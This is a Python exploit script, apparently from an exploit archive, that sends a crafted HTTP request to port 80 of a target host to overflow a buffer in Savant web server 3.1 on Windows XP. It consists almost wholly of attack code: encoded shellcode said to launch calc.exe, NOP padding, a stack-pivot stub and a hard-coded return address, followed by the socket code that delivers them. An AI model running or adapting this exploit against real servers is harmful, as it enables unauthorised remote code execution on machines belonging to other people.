#!/usr/bin/python #Title: Savant web server 3.1 buffer overflow exploit #Author: DouBle_Zer0 #Version: 3.1 #Tested on: win xp sp2,3 [en] #Vulnerability discovered by Muts(offensive security) #\x83\xc4\x50\x54\xc3 -add esp,50 push esp ret[see the double dance of this in exploit] #ret=00401D09[pop ebp, ret] import socket,sys # win calc.exe [metasploit] (172 byte) host = sys.argv[1] buff = ("\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8" "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1" "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07" "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25" "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5" "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d" "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4" "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0" "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c" "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b" "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4") buff3 = "\x90" * 30 buff2 = "\x90" * 53 ret = "\x09\x1D\x40" #savant.exe buffr = '\x83\xC4\x50\x54\xc3 /' +buff2+buff3+buff+ret + '\r\n\r\n' print buffr s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,80)) s.send(buffr) sys.exit()